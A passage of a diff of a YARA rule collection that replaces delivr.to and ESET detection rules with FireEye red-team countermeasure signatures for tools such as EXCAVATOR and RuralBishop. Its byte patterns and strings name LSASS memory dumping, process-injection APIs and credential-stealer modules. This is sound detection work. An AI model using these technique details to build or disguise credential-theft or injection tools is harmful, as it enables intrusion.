?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }
 
 	condition:
-		filesize <5MB and ($one at 0) and $fdso and $rtlo
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of ($bytes*)
 }
-rule DELIVRTO_SUSP_HTML_WASM_Smuggling
+rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_1 : FILE
 {
 	meta:
-		description = "Presence of Base64 JavaScript blob loading WASM"
-		author = "delivr.to"
-		id = "fc83bb4f-ba8a-52d2-b9ce-632da5341f77"
-		date = "2024-02-28"
-		modified = "2024-05-24"
-		reference = "https://github.com/delivr-to/detections"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/html_wasm.yar#L1-L13"
-		license_url = "N/A"
-		logic_hash = "4bca88862c28db947c04c40e40fdecc682223d1eb90c98350fbd6c5d8c6c4636"
-		score = 70
-		quality = 80
-		tags = ""
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "e593b589-747d-53c2-a39a-57485e4f7641"
+		date = "2020-11-30"
+		date = "2020-11-30"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6a9a114928554c26675884eeb40cc01b"
+		logic_hash = "aa06628ddef0f95c4217b97a3476a0ee12e00d04c4827a512730598f3c80f1f6"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$wasm = "WebAssembly.Module" base64
-		$int = "WebAssembly.Instance" base64
-		$inst = "WebAssembly.instantiate" base64
+		$api1 = "PssCaptureSnapshot" fullword
+		$api2 = "MiniDumpWriteDump" fullword
+		$dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 }
+		$lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 }
 
 	condition:
-		all of them
+		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
 }
-rule DELIVRTO_SUSP_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE
+rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_2 : FILE
 {
 	meta:
-		description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
-		author = "delivr.to"
-		id = "a0ede2d3-7789-5662-9575-5d0a5cf4457c"
-		date = "2023-03-15"
-		modified = "2023-03-15"
-		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/msg_cve_2023_23397.yar#L1-L20"
-		license_url = "N/A"
-		logic_hash = "0476cf7f93c4f6cc48c19933f31360b62fe5e339f6a2a31dee8ad95f83ce67d7"
-		score = 60
-		quality = 80
-		tags = "CVE-2023-23397, FILE"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_2.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4fd62068e591cbd6f413e1c2b8f75442"
+		logic_hash = "14263c17323cd78df10f7f101bd7a9c74f7818b34a2e42125d45205067399381"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
-		$rfp = { 1F 85 00 00 }
+		$api1 = "PssCaptureSnapshot" fullword
+		$api2 = "MiniDumpWriteDump" fullword
+		$dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 }
+		$enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 }
 
 	condition:
-		uint32be(0)==0xD0CF11E0 and uint32be(4)==0xA1B11AE1 and $app and $rfp
+		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
 }
-rule DELIVRTO_SUSP_Onenote_Repeated_Filedatareference_Feb23 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSACK_1 : FILE
 {
 	meta:
-		description = "Repeated references to files embedded in OneNote file. May indicate multiple copies of file hidden under image, as leveraged by Qakbot et al."
-		author = "delivr.to"
-		id = "2a46d6cc-2800-5645-889c-7ad7d7aa69bd"
-		date = "2023-02-17"
-		modified = "2023-02-17"
-		reference = "https://github.com/delivr-to/detections"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/onenote_repeated_files.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "ef74a128de4d3745af856957931eaae0c0ae5a5583eab1a7c58d6dd666e7fd15"
-		score = 60
-		quality = 80
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
+		author = "FireEye"
+		id = "8e344acb-73c4-5509-be9d-85cf6fe94445"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSACK/production/yara/APT_HackTool_MSIL_SHARPSACK_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "ecc3250e65e34595b4b827add3eb3062edad6a3373930048bfd6225d4a229e93"
+		score = 75
+		quality = 73
 		tags = "FILE"
+		rev = 2
 
 	strings:
-		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
-		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
-		$fref = { 3C 00 69 00 66 00 6E 00 64 00 66 00 3E 00 7B 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? }
+		$typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide
 
 	condition:
-		filesize <5MB and ($one at 0) and $fdso and #fref>(#fdso*4)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: ESET
- * Repository: https://github.com/eset/malware-ioc
- * Retrieval Date: 2024-08-04
- * Git Commit: 56a9841902ca1b562eaf217df2e45151606d49f2
- * Number of Rules: 98
- * Skipped: 0 (age), 6 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * Copyright (c) 2014-2018 ESET spol. s r.o.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice,
-this list of conditions and the following disclaimer in the documentation
-and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
- */
-import "elf"
-
-private rule ESET_Apachemodule_PRIVATE
+rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_2 : FILE
 {
 	meta:
-		description = "Apache 2.4 module ELF shared library"
-		author = "ESET, spol. s r.o."
-		id = "2082e50e-1726-5540-a962-e0aeca1ebaaf"
-		date = "2024-04-27"
-		modified = "2024-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/helimod.yar#L3-L30"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
-		logic_hash = "213fe381aa0bf9f148e488f7af74ac63073776c2868e42d2dcca7fdbca55fabb"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "3befb3f2-81d1-5db2-84d9-773158b9837c"
+		date = "2020-12-03"
+		date = "2020-12-03"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_2.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
+		logic_hash = "0467532d643cf0200c6561b0724c884230892bf59db163c311b7d4f8acbb63d6"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 1
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$magic = "42PA"
+		$ss1 = "\x00NtMapViewOfSection\x00"
+		$ss2 = "\x00NtOpenProcess\x00"
+		$ss3 = "\x00NtAlertResumeThread\x00"
+		$ss4 = "\x00LdrGetProcedureAddress\x00"
+		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
 
 	condition:
-		for any s in elf.dynsym : (s.type==elf.STT_OBJECT and for any seg in elf.segments : (seg.type==elf.PT_LOAD and s.value>=seg.virtual_address and s.value<(seg.virtual_address+seg.file_size) and $magic at (s.value-seg.virtual_address+seg.offset)+0x28))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-private rule ESET_Not_Ms_PRIVATE
+rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "7edb96a1-a63a-580e-ac26-66fa14ae97d1"
-		date = "2018-09-05"
-		modified = "2018-09-05"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/turla-outlook.yar#L34-L40"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "71f492eaa80bee5e8cc5bec67b2a7fd6f5f71ee2594d9f531043747533c80443"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d"
+		date = "2020-12-03"
+		date = "2020-12-03"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_1.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
+		logic_hash = "f2244c6761639c1162a77a5e82296903c3cc21fbf46d262c779c5e4d6a2ef937"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+		$ss1 = "\x00NtMapViewOfSection\x00"
+		$ss2 = "\x00NtOpenProcess\x00"
+		$ss3 = "\x00NtAlertResumeThread\x00"
+		$ss4 = "\x00LdrGetProcedureAddress\x00"
+		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
 
 	condition:
-		not for any i in (0..pe.number_of_signatures-1) : (pe.signatures[i].issuer contains "Microsoft Corporation")
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@sb1[1]<@sb2[1]) and ( all of ($ss*)) and ( all of ($tb*))
 }
-private rule ESET_Potaosecondstage_PRIVATE
+rule FIREEYE_RT_Loader_MSIL_Ruralbishop_3 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "c1baace9-f481-533a-aa85-df5ba14069f2"
-		date = "2015-07-30"
-		modified = "2015-07-30"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/potao/PotaoNew.yara#L81-L95"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "55f9fc2da09aa9c2e76725985c836f7b8ba5e0b69a9327fb911e8265b340b88c"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
+		author = "FireEye"
+		id = "55a060ef-74e2-50d9-9090-558aaa04d97d"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_RuralBishop_3.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "09bdbad8358b04994e2c04bb26a160ef"
+		logic_hash = "a4c55dede432c249e36e96ca09555448b0343969d389bfdb4bd459fe34e05ea1"
 		score = 75
-		quality = 28
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$mz = { 4d 5a }
-		$binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
-		$binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
-		$binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
-		$str1 = "?AVCrypt32Import@@"
-		$str2 = "%.5llx"
+		$typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide
 
 	condition:
-		($mz at 0) and any of ($binary*) and any of ($str*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-private rule ESET_Potaousb_PRIVATE
+rule FIREEYE_RT_Loader_MSIL_Trimbishop_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "98fd84cb-d8e8-5aed-a1ac-f1099be5a5db"
-		date = "2015-07-30"
-		modified = "2015-07-30"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/potao/PotaoNew.yara#L71-L80"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8f72afbf3b123ea3914b3eade267bd21f7435fbf9fbde4049ca2600513bb31d9"
+		description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop."
+		author = "FireEye"
+		id = "4d58f0a2-bf16-584c-8e92-c8ef54427767"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_TrimBishop_1.yar#L4-L26"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "09bdbad8358b04994e2c04bb26a160ef"
+		logic_hash = "018e87542301db22c384fda2709e8d49711c0fa041d1ef591f98ee7a70dbb677"
 		score = 75
-		quality = 28
-		tags = ""
+		quality = 50
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$mz = { 4d 5a }
-		$binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
-		$binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
+		$msg = "msg" ascii wide
+		$msil = "_CorExeMain" ascii wide
+		$str1 = "RuralBishop" ascii wide
+		$str2 = "KnightKingside" ascii wide
+		$str3 = "ReadShellcode" ascii wide
+		$str4 = "ReverseString" ascii wide
+		$str5 = "DTrim" ascii wide
+		$str6 = "QueensGambit" ascii wide
+		$str7 = "Messages" ascii wide
+		$str8 = "NtQueueApcThread" ascii wide
+		$str9 = "NtAlertResumeThread" ascii wide
+		$str10 = "NtQueryInformationThread" ascii wide
 
 	condition:
-		($mz at 0) and any of ($binary*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and #msg>60 and all of ($str*)
 }
-private rule ESET_Potaodll_PRIVATE
+rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "a53ff170-ed3a-5ee9-a262-bb2f77aba092"
-		date = "2015-07-30"
-		modified = "2015-07-30"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/potao/PotaoNew.yara#L46-L70"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "1d1154eb10cc70b3252e3ca4a85789e8605f2f3b7044f03ec960fd56ab81886a"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "1a3f4247-25f4-51ca-b881-209c0753b915"
+		date = "2020-12-03"
+		date = "2020-12-03"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_1.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
+		logic_hash = "f020efff58c8b7761d700c662c422a9e1ffdf8fe5f6648e421b7c257e3b8d078"
 		score = 75
-		quality = 28
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$mz = { 4d 5a }
-		$dllstr1 = "?AVCncBuffer@@"
-		$dllstr2 = "?AVCncRequest@@"
-		$dllstr3 = "Petrozavodskaya, 11, 9"
-		$dllstr4 = "_Scan@0"
-		$dllstr5 = "\x00/sync/document/"
-		$dllstr6 = "\\temp.temp"
-		$dllname1 = "node69MainModule.dll"
-		$dllname2 = "node69-main.dll"
-		$dllname3 = "node69MainModuleD.dll"
-		$dllname4 = "task-diskscanner.dll"
-		$dllname5 = "\x00Screen.dll"
-		$dllname6 = "Poker2.dll"
-		$dllname7 = "PasswordStealer.dll"
-		$dllname8 = "KeyLog2Runner.dll"
-		$dllname9 = "GetAllSystemInfo.dll"
-		$dllname10 = "FilePathStealer.dll"
+		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+		$ss1 = "\x00NtMapViewOfSection\x00"
+		$ss2 = "\x00NtOpenProcess\x00"
+		$ss3 = "\x00NtAlertResumeThread\x00"
+		$ss4 = "\x00LdrGetProcedureAddress\x00"
+		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
 
 	condition:
-		($mz at 0) and ( any of ($dllstr*) and any of ($dllname*))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@sb1[1]<@sb2[1]) and ( all of ($ss*)) and ( all of ($tb*))
 }
-private rule ESET_Potaodecoy_PRIVATE
+rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "215f1821-f70d-547e-b261-335dc1300bf2"
-		date = "2015-07-30"
-		modified = "2015-07-30"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/potao/PotaoNew.yara#L32-L45"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "93cbe1d1545d1fb85b3218b68619e67a1dda80d5888d2685a04915b861dfce01"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "90ee2569-2e68-517b-b2d7-8c4015d92683"
+		date = "2020-12-03"
+		date = "2020-12-03"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_2.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "c0598321d4ad4cf1219cc4f84bad4094"
+		logic_hash = "4cccfca0c06954105f762066741b6c35599a6c28df8b7c255a2659059169578f"
 		score = 75
-		quality = 28
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$mz = { 4d 5a }
-		$str1 = "eroqw11"
-		$str2 = "2sfsdf"
-		$str3 = "RtlDecompressBuffer"
-		$wiki_str = "spanned more than 100 years and ruined three consecutive" wide
-		$old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
